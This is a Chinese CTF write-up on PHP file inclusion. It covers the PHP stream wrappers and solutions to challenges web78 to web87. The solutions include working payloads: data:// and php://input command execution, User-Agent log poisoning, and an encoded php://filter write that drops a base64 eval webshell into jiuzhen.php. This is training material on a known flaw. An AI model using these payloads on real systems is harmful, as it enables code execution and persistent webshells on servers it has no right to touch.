当前位置：首页 > article >正文

ctf文件包含

article 2024/12/21 17:44:53

⽂件包含，通过PHP函数引⼊⽂件时，传⼊的⽂件名没有经过合理的验证，从⽽操作了预想之外的⽂件，就可能导致意外的⽂件泄漏甚⾄恶意代码注⼊。

产⽣的条件：常⻅的包含，在之前做命令执⾏的时候也已经⽤过了 include() require() include_once() require_once() 此外，常⽤的还有之前在web37写的伪协议，这⾥再复制过来

72 总： file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议分： file:// 协议：条件 allow_url_fopen:off/on allow_url_include :off/on 作⽤：⽤于访问本地⽂件系统。在include()/require()等参数可控的情况下，如果导⼊⾮ php⽂件也会被解析为php ⽤法：1.file://[⽂件的绝对路径和⽂件名] 2.[⽂件的相对路径和⽂件名] 3.[http：//⽹络路径和⽂件名] php:// 协议：条件 allow_url_include :仅php://input php://stdin php://memor y php://temp 需要on allow_url_fopen:off/on 作⽤：php:// 访问各个输⼊/输出流（I/O streams），在CTF中经常使⽤的是php://fi lter和php://input，php://filter⽤于读取源码，php://input⽤于执⾏php代码 php://filter参数详解：resource=（必选，指定了你要筛选过滤的数据流） read =（可选） write=（可选）对read和write，可选过滤器有string.rot13、string.toupper、string.tolower、 string.strip_tags、convert.base64-encode & convert.base64-decode

⽤法举例：php://filter/read=convert.base64-encode/resource=flag.p hp zip:// bzip2:// zlib:// 协议：条件：allow_url_fopen:off/on allow_url_include :off/on 作⽤：zip:// & bzip2:// & zlib:// 均属于压缩流，可以访问压缩⽂件中的⼦⽂件，更重要的是不需要指定后缀名⽤法：zip://[压缩⽂件绝对路径]%23[压缩⽂件内的⼦⽂件名] compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议：条件：allow_url_fopen:on allow_url_include :on 作⽤：可以使⽤data://数据流封装器，以传递相应格式的数据。通常可以⽤来执⾏PHP 代码。⽤法：data://text/plain, data://text/plain;base64, 举例：data://text/plain, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

web78

利用php伪协议的data协议和input协议都能解。

传参 file=data://text/plain,<?php system("ls");?>，查看目录，然后传参 file=data://text/plain,<?php system("tac flag.php");?>，拿到flag。

或者传参 file=php://input 同时内容为 ?php system("ls");?>，查看目录

不知道为什么cat用不了，只能yongtac

web79

和上一关差不多过滤了php，使用data和php短标签

web80

过滤了data和php，data不能⼤⼩写绕过，使用日志文件包含

然后将一句话写入ua头

web81

多过滤了一个:号，远程文件包含和大小写绕过不行了，只能用日志包含

还是和上一关一样，用ua头

web87

将如果file出现phpdata:.就会替换成???，

urldecode对file进行解码，最后面加上$content

file_put_contents 函数创建或修改由 $file 变量指定的文件，并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。

看到这里直接试试通过编码写入东西

die函数需要绕过，避免程序终止。

使用base64绕过

因为base64解密为4字节为一组，并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉，故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节

使用php伪协议将base64的一句话写入文件，然后连接或者命令执行

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30

aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

jiuzhen.php